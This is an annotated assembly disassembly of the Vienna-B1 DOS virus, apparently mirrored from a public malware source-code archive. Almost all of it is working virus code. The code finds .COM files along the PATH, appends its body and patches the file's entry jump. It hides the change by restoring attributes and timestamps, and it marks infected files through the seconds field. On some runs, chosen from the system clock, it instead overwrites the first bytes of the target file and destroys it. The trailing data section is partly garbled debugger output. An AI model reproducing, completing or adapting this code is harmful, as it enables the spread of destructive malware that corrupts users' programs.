mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
332 lines
14 KiB
NASM
332 lines
14 KiB
NASM
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; disassembly of vienna-b1 virus
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jmp label1
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message:
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db "ello, world!$" ;*************
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mov ah,09h ;print string ; part of *
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mov dx,message ;point to string ; original *
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int 21h ;call msdos ; com file. *
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int 20h ;terminate program ;*************
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label1:
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push cx ;
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mov dx,0312h ;start of variables
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cld ;clear direction
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mov si,dx ;si = start of variables
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add si,000Ah
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mov di,0100h ;destination = 0100h
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mov cx,0003 ;three bytes to move
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repz movsb
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mov si,dx ;si = 0312h (start of variables)
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mov ah,30h ;get dos version number
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int 21h ;call msdos
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cmp al,00h ;old version?
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jnz label2 ;no
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jmp label3 ;yes
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label2:
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push es ;store extra segment
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mov ah,2fh ;get DTA address
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int 21h ;call msdos
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mov [si+0000h],bx ;save DTA offset
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mov [si+0002],es ;save DTA segment
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pop es ;restore extra segment address
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mov dx,005fh ;
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nop
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add dx,si ;pointer to new DTA address
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mov ah,1ah ;set DTA address
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int 21h ;call msdos
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push es ;save extra segment address again
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push si ;save source index register
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mov es,[002ch]
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mov di,0000h
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label4:
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pop si
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push si
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add si,001ah
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lodsb ;get byte from source address
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mov cx,8000h ;
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repnz scasb
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mov cx,0004h ;
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label7:
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lodsb ;get byte from source
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scasb ;store byte
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jnz label4 ;jump back till done
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loop label7
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pop si ;restore source index register
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pop es ;and extra segment
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mov [si+0016h],di
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mov di,si
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add di,001fh
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mov bx,si
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add si,001fh
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mov di,si
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jmp label5
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label13:
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cmp word ptr [si+0016h],00h
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jnz label5
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jmp label6
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push ds
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push si
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es mov ds,[002ch]
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mov di,si
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es mov si,[di+0016h]
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add di,001fh
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label10:
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lodsb ;get byte
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cmp al,3bh
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jz label8
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cmp al,00h
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jz label9
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stosb ;store byte
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jmp label10
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label9:
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mov si,0000h
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label8:
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pop bx
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pop ds
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mov [bx+0016h],si
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cmp byte ptr [di-01h],5ch
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jz label5
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mov al,5ch
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stosb ;store byte
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label5:
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mov [bx+0018h],di
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mov si,bx
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add si,0010h
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mov cx,0006h
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repz movsb
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mov si,bx
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mov ah,4eh ;search for first match
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mov dx,001fh ;pointer to asciiz file spec.-si
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nop
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add dx,si ;pointer to asciiz file spec.
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mov cx,0003h ;attribute to us in search match
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int 21h ;call msdos
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jmp label11
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label14:
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mov ah,4fh ;search for next match
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int 21h ;call msdos
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label11:
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jnb label12
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jmp label13
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label12:
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mov ax,[si+0075h]
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and al,1fh
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cmp al,1fh
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jz label14
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cmp word ptr [si+0079h],0fa00h
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ja label14
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cmp word ptr [si+0079h],0ah
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jb label14
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mov di,[si+0018h]
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push si
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add si,007dh
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label15:
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lodsb
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stosb
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cmp al,00h
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jnz label15
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pop si
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mov ax,4300h ;get file attributes
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mov dx,001fh ;pointer to asciiz file spec. -si
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nop
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add dx,si ;pointer to file spec.
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int 21h ;call msdos
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mov [si+0008h],cx
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mov ax,4301 ;set file attributes
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and cx,0fffeh ;new attributes
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mov dx,001fh ;pointer to asciiz file spec. -si
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nop
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add dx,si ;pointer to asciiz file spec.
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int 21h ;call msdos
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mov ax,3d02h ;open file (handle)
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mov dx,001fh ;pointer to asciiz file spec. -si
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nop
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add dx,si ;pointer to asciiz file spec.
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int 21h ;call msdos
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jnb label16
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jmp label17
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label16:
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mov bx,ax
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mov ax,5700h ;get time and date
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int 21h ;call msdos
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mov [si+0004],cx ;store time
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mov [si+0006],dx ;store date
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mov ah,2ch ;get system time
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int 21h ;call msdos
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and dh,07h
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jnz label18
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mov ah,40h ;write to file or device (handle)
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mov cx,0005h ;number of bytes to write
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mov dx,si ;get file spec. address -8ah
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add dx,008ah ;add 8ah to get file spec. address
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int 21h ;call msdos
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jmp label19
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nop
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label18:
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mov ah,3fh ;read file or device (handle)
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mov cx,0003h ;number of bytes to read
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mov dx,000ah ;point to buffer -si
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nop
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add dx,si ;pointer to buffer area
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int 21h ;call msdos
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jb label19
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cmp ax,0003h ;number of bytes read
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jnz label19
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mov ax,4202h ;move file pointer
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;offset from end of file
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mov cx,0000h ;offset desired
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mov dx,0000h ;as above
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int 21h ;call msdos
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jb label19
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mov cx,ax
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sub ax,0003h
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mov [si+000eh],ax
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add cx,02f9h
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mov di,si
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sub di,01f7h
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mov [di],cx
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mov ah,40h ;write to file or device (handle)
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mov cx,0288h ;number of bytes to write
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mov dx,si ;
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sub dx,01f9h ;dx = pointer to buffer of data write
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int 21h ;call msdos
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jb label19
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cmp ax,0288h ;288h bytes written?
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jnz label19
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mov ax,4200h ;move file pointer
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;offset from beginning of file
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mov cx,0000h ;desired offset
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mov dx,0000h ;desired offset
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int 21h ;call msdos
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jb label19
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mov ah,40h ;write to file or device (handle)
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mov cx,0003h ;number of bytes to write
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mov dx,si ;
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add dx,000dh ;pointer to buffer of data write
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int 21h ;call msdos
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label19:
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mov dx,[si+0006h]
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mov cx,[si+0004h]
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and cx,0ffe0h
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or cx,001fh
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mov ax,5701h ;set date and time
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int 21h ;call msdos
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mov ah,3eh ;close file
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int 21h ;call msdos
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label17:
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mov ax,4301h ;set file attributes
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mov di,[si+0008h]
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mov dx,001fh ;pointer to asciiz file spec. -si
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nop
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add dx,si ;pointer to ascii file spec.
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int 21h ;call msdos
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label6:
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push ds ;save data segment
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mov ah,1ah ;set DTA address
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mov dx,[si+0000] ;retrieve original DTA
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mov ds,[si+0002] ;and data segment of dta
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int 21h ;call msdos
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pop ds ;restore DTA
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label3:
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pop cx
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xor ax,ax ;clear accumulator
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xor bx,bx ;and bx
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xor dx,dx ;and dx
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xor si,si ;and si
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mov di,0100h ;pointer to execution program to be
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;run now virus has finished
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push di
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xor di,di ;clear di
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ret 0ffffh ;?
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start_of_variables:
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0312 80003E ADD BYTE PTR [BX+SI],3E
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0315 40 inc ax
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0316 D592 AAD 92
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0318 8511 TEST dx,[BX+DI]
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031A 2000 AND [BX+SI],AL
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031C EB0E JMP 032ch ;jump address to place at
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;beginning of source program
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031E 48 DEC ax
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031F E91600 JMP 0338
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db "*.COM"
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0327 0027 ADD [BX],ah
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0329 0022 ADD [BP+SI],ah
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032B 03
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db "PATH=DANGER!.COM EM.COM"
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032C 5041 ADD dx,[BX+SI+41]
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032E 54 push SP
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032F 48 DEC ax
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0330 3D4441 cmp ax,4144
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0333 4E DEC SI
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0334 47 inc DI
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0335 45 inc BP
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0336 52 push dx
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0337 212E434F AND [4F43],BP
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033B 4D DEC BP
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033C 00454D ADD [DI+4D],AL
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033F 2E CS:
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0340 43 inc BX
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0341 4F DEC DI
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0342 4D DEC BP
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0343 0000 ADD [BX+SI],AL
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0345 43 inc BX
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0346 4F DEC DI
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0347 4D DEC BP
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0348 0020 ADD [BX+SI],ah
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034A 2020 AND [BX+SI],ah
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034C 2020 AND [BX+SI],ah
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034E 2020 AND [BX+SI],ah
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0350 2020 AND [BX+SI],ah
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0352 2020 AND [BX+SI],ah
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0354 2020 AND [BX+SI],ah
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0356 2020 AND [BX+SI],ah
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0358 2020 AND [BX+SI],ah
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035A 2020 AND [BX+SI],ah
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035C 2020 AND [BX+SI],ah
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035E 2020 AND [BX+SI],ah
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0360 2020 AND [BX+SI],ah
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0362 2020 AND [BX+SI],ah
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1463:0364 2020 AND [BX+SI],ah
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1463:0366 2020 AND [BX+SI],ah
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1463:0368 2020 AND [BX+SI],ah
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1463:036A 2020 AND [BX+SI],ah
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1463:036C 2020 AND [BX+SI],ah
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1463:036E 2020 AND [BX+SI],ah
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1463:0370 2003 AND [BP+DI],AL
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1463:0372 3F AAS
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1463:0373 3F AAS
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1463:0374 3F AAS
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1463:0375 3F AAS
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1463:0376 3F AAS
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1463:0377 3F AAS
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1463:0378 3F AAS
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1463:0379 3F AAS
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1463:037A 43 inc BX
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1463:037B 4F DEC DI
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1463:037C 4D DEC BP
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1463:037D 0305 ADD ax,[DI]
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1463:037F 001F ADD [BX],BL
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1463:0381 0020 ADD [BX+SI],ah
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1463:0383 64 DB 64
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1463:0384 7269 JB 03EF
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1463:0386 20D5 AND CH,DL
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1463:0388 92 XCHG dx,ax
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1463:0389 8511 TEST dx,[BX+DI]
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1463:038B 1900 SBB [BX+SI],ax
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1463:038D 0000 ADD [BX+SI],AL
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1463:038F 44 inc SP
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1463:0390 41 inc cx
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1463:0391 4E DEC SI
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1463:0392 47 inc DI
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1463:0393 45 inc BP
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1463:0394 52 push dx
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1463:0395 212E434F AND [4F43],BP
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1463:0399 4D DEC BP
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1463:039A 0000 ADD [BX+SI],AL
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1463:039C EA0B021358 JMP 5813:020B
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